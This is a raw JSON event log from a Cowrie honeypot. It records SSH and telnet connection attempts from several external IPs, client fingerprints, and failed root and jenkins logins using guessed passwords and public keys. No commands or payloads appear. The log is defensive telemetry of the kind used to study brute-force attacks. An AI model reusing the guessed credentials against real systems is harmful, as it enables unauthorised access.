ac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:42.893133Z","src_ip":"31.40.204.166","session":"05dc8ad4cb5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:43.427711Z","src_ip":"31.40.204.166","session":"05dc8ad4cb5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:44.607257Z","src_ip":"31.40.204.166","session":"05dc8ad4cb5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57786,"dst_ip":"10.17.0.5","dst_port":23,"session":"df3c0c3d65b9","protocol":"telnet","message":"New connection: 152.42.224.71:57786 (10.17.0.5:23) [session: df3c0c3d65b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:45.135922Z"}
{"eventid":"cowrie.session.closed","duration":37.2349693775177,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:48.811704Z","src_ip":"152.42.224.71","session":"5f0306295597","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":41162,"dst_ip":"159.203.135.109","dst_port":22,"session":"25c897ca1323","protocol":"ssh","message":"New connection: 194.113.233.25:41162 (159.203.135.109:22) [session: 25c897ca1323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:50.921397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:50.925924Z","src_ip":"194.113.233.25","session":"25c897ca1323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:51.020599Z","src_ip":"194.113.233.25","session":"25c897ca1323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty100","message":"login attempt [root/qwerty100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:51.303308Z","src_ip":"194.113.233.25","session":"25c897ca1323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52348,"dst_ip":"10.17.0.5","dst_port":23,"session":"3defe1047b33","protocol":"telnet","message":"New connection: 152.42.224.71:52348 (10.17.0.5:23) [session: 3defe1047b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:51.754339Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:52.400293Z","src_ip":"194.113.233.25","session":"25c897ca1323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00292420387268,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:53.965493Z","src_ip":"152.42.224.71","session":"8c860e0528d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56526,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b097e20772b","protocol":"ssh","message":"New connection: 31.40.204.166:56526 (159.203.135.109:22) [session: 4b097e20772b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:54.686956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:54.696294Z","src_ip":"31.40.204.166","session":"4b097e20772b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:54.816596Z","src_ip":"31.40.204.166","session":"4b097e20772b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:55.490899Z","src_ip":"31.40.204.166","session":"4b097e20772b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.249518156051636,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:55.776242Z","src_ip":"152.42.224.71","session":"7c51f8f56ab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:30:56.800835Z","src_ip":"31.40.204.166","session":"4b097e20772b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52362,"dst_ip":"10.17.0.5","dst_port":23,"session":"a101ee4c83b5","protocol":"telnet","message":"New connection: 152.42.224.71:52362 (10.17.0.5:23) [session: a101ee4c83b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:01.780379Z"}
{"eventid":"cowrie.session.closed","duration":37.890379905700684,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:06.283599Z","src_ip":"152.42.224.71","session":"0544c6b2f298","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48246,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa567b3cdef9","protocol":"ssh","message":"New connection: 31.40.204.166:48246 (159.203.135.109:22) [session: aa567b3cdef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:06.519458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:06.525218Z","src_ip":"31.40.204.166","session":"aa567b3cdef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:06.689447Z","src_ip":"31.40.204.166","session":"aa567b3cdef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:07.183940Z","src_ip":"31.40.204.166","session":"aa567b3cdef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37600,"dst_ip":"10.17.0.5","dst_port":23,"session":"1034eef6bfe5","protocol":"telnet","message":"New connection: 152.42.224.71:37600 (10.17.0.5:23) [session: 1034eef6bfe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:07.528708Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:08.391272Z","src_ip":"31.40.204.166","session":"aa567b3cdef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37608,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f2efe6d3272","protocol":"telnet","message":"New connection: 152.42.224.71:37608 (10.17.0.5:23) [session: 3f2efe6d3272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:08.835882Z"}
{"eventid":"cowrie.session.closed","duration":7.844647169113159,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:09.624918Z","src_ip":"152.42.224.71","session":"a101ee4c83b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.656760454177856,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:10.194166Z","src_ip":"152.42.224.71","session":"75f6abc3ad03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37622,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f696ef2249","protocol":"telnet","message":"New connection: 152.42.224.71:37622 (10.17.0.5:23) [session: f9f696ef2249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:12.048900Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.60.187","src_port":54846,"dst_ip":"10.17.0.5","dst_port":22,"session":"2abb0d081dda","protocol":"ssh","message":"New connection: 199.127.60.187:54846 (10.17.0.5:22) [session: 2abb0d081dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:12.805190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:12.810675Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:12.851463Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31132459640503,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:12.973276Z","src_ip":"152.42.224.71","session":"943bee578185","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:67:14:14:b7:de:4d:fc:cd:f8:d7:28:7b:86:e9:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCosuf8Q1fD/B6gAbL60Bs/b5eCBPqIkSJpU73pmv5x5Cr3Hw6C1t11B0/ZT365cREaP+mIBuWjlUCyYwjZWjGwAb6jB7XpBpnMmIt/AQQGy+dLr/z+tnNIgTCeeOx6dCvo2Elqz0BdDLsF7qBVXJATOmH/8m4yVyPMkY7nZ6RH7ylXCwyiWVid+UryuLsHTclLofzxKw2kleMexxoJFOcpLOcU8nZqrxG09qM/zYevymp4h++jUCdr+XsAOIFSrmhU5Km+z1nyM29Za8SuzAD+NcmPx8+xdcn0aPNu9Wz/OkFXD/ysx2Nme7/ebSCwflFfldIvkwXcjo5GTx+f2Kql","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:67:14:14:b7:de:4d:fc:cd:f8:d7:28:7b:86:e9:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.028765Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:67:14:14:b7:de:4d:fc:cd:f8:d7:28:7b:86:e9:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCosuf8Q1fD/B6gAbL60Bs/b5eCBPqIkSJpU73pmv5x5Cr3Hw6C1t11B0/ZT365cREaP+mIBuWjlUCyYwjZWjGwAb6jB7XpBpnMmIt/AQQGy+dLr/z+tnNIgTCeeOx6dCvo2Elqz0BdDLsF7qBVXJATOmH/8m4yVyPMkY7nZ6RH7ylXCwyiWVid+UryuLsHTclLofzxKw2kleMexxoJFOcpLOcU8nZqrxG09qM/zYevymp4h++jUCdr+XsAOIFSrmhU5Km+z1nyM29Za8SuzAD+NcmPx8+xdcn0aPNu9Wz/OkFXD/ysx2Nme7/ebSCwflFfldIvkwXcjo5GTx+f2Kql","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.033177Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:d3:0e:51:af:d6:67:14:7f:bf:f5:1c:ce:6c:92:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7jO3fxWQzTkGjfjT2+A0IcL8FdqmY/6vAYGKqRdB28/hZHGsIDsNc6cRRD0vwb3dyCIBg69eYSGK0XpT+QNwRyenJJUDdyhiAkv0PHsS+MYzvJv5bXHleVF04fDduZd9GgWBo8HMUu4dPLoKRxijwChrboThle11TelgKVZt23qnES08d700HTz/f+UgC1nn6xQGgT2AIPlrtoeR65ETMl3OEh3ZoMSaFxi0+fgkte0iT/OQtaB/AvZUJdTsWu0wFxgDHpdvLaVgDBg42plfJxBn8dfOLculXpel7Keevf4vIPS82wkcwhzE8Mb5hJhozeI7mzKoQD33BkJNppXln","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:d3:0e:51:af:d6:67:14:7f:bf:f5:1c:ce:6c:92:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.075767Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:d3:0e:51:af:d6:67:14:7f:bf:f5:1c:ce:6c:92:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7jO3fxWQzTkGjfjT2+A0IcL8FdqmY/6vAYGKqRdB28/hZHGsIDsNc6cRRD0vwb3dyCIBg69eYSGK0XpT+QNwRyenJJUDdyhiAkv0PHsS+MYzvJv5bXHleVF04fDduZd9GgWBo8HMUu4dPLoKRxijwChrboThle11TelgKVZt23qnES08d700HTz/f+UgC1nn6xQGgT2AIPlrtoeR65ETMl3OEh3ZoMSaFxi0+fgkte0iT/OQtaB/AvZUJdTsWu0wFxgDHpdvLaVgDBg42plfJxBn8dfOLculXpel7Keevf4vIPS82wkcwhzE8Mb5hJhozeI7mzKoQD33BkJNppXln","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.081582Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:1b:f9:7a:7b:c4:c7:f4:dd:f6:14:d8:b4:9b:07:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9GtKr8EQS8F4pVzBE0qNKQQyaNSNiWNH+LKX2enA0tnE4mEPrnouthjEDZgmf9P82e7F1RPhgbldOXDtqyuHzdOMYl5c5eAkOSw1KINwA5j0yxc3MyQHQBm27ha59RuxLEK8ek8R9IVa2sSbZcqOkjETAp57g+lfWMrm9wAV7pvmc4GlT96GgQvDi95jKW0Nz97cwWtIJopShmSlp3+zwulyM0AvcOa285Vqu+m4DiumNasARPEZCQX8/YSxZVxrxEyl6J//8BUslQAu+ExHm4s+hcsl5r2xvfNbejMkUqi1w5jOtkRm8YvfObU4QAT3gfBNvilbZ0DKQkgSojw3d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:1b:f9:7a:7b:c4:c7:f4:dd:f6:14:d8:b4:9b:07:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.126769Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:1b:f9:7a:7b:c4:c7:f4:dd:f6:14:d8:b4:9b:07:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9GtKr8EQS8F4pVzBE0qNKQQyaNSNiWNH+LKX2enA0tnE4mEPrnouthjEDZgmf9P82e7F1RPhgbldOXDtqyuHzdOMYl5c5eAkOSw1KINwA5j0yxc3MyQHQBm27ha59RuxLEK8ek8R9IVa2sSbZcqOkjETAp57g+lfWMrm9wAV7pvmc4GlT96GgQvDi95jKW0Nz97cwWtIJopShmSlp3+zwulyM0AvcOa285Vqu+m4DiumNasARPEZCQX8/YSxZVxrxEyl6J//8BUslQAu+ExHm4s+hcsl5r2xvfNbejMkUqi1w5jOtkRm8YvfObU4QAT3gfBNvilbZ0DKQkgSojw3d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.130972Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:53:54:14:70:1b:62:fd:c2:c8:25:7b:90:a3:48:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6iv2acsoFLME4rcjLdbraM+U6M9bFgRUJty7lDs2PP8l6CvvgJGH6N6cs4Rpckb8z2p6BLm35btl3fkLejFHxF4UTu61r9L18Aq0HQV0vmEzYbwR1EbJyMh3QiUYaT2y9ARZJuXHcTou1YEnDdjchOhc039IbEkMj5m565RRfaQJalPqjpiPCxg76ke229EQgmn0CVuky0WEnbKdJA95xYgNxLxcBoTFS5u9ropx8YJijW8nc+jTqfeQNkO/1lEf9oA5j5SYCQLX9fNZMnjd0/Y4CSXP2uJRSIzuWaDBsVukZRV42UGQcUlpXvnTC5wpmam/gghtiDA9xWTSn9s5J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:53:54:14:70:1b:62:fd:c2:c8:25:7b:90:a3:48:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.172311Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:53:54:14:70:1b:62:fd:c2:c8:25:7b:90:a3:48:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6iv2acsoFLME4rcjLdbraM+U6M9bFgRUJty7lDs2PP8l6CvvgJGH6N6cs4Rpckb8z2p6BLm35btl3fkLejFHxF4UTu61r9L18Aq0HQV0vmEzYbwR1EbJyMh3QiUYaT2y9ARZJuXHcTou1YEnDdjchOhc039IbEkMj5m565RRfaQJalPqjpiPCxg76ke229EQgmn0CVuky0WEnbKdJA95xYgNxLxcBoTFS5u9ropx8YJijW8nc+jTqfeQNkO/1lEf9oA5j5SYCQLX9fNZMnjd0/Y4CSXP2uJRSIzuWaDBsVukZRV42UGQcUlpXvnTC5wpmam/gghtiDA9xWTSn9s5J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:31:13.176391Z","src_ip":"199.127.60.187","session":"2abb0d081dda","protocol":"ssh"}
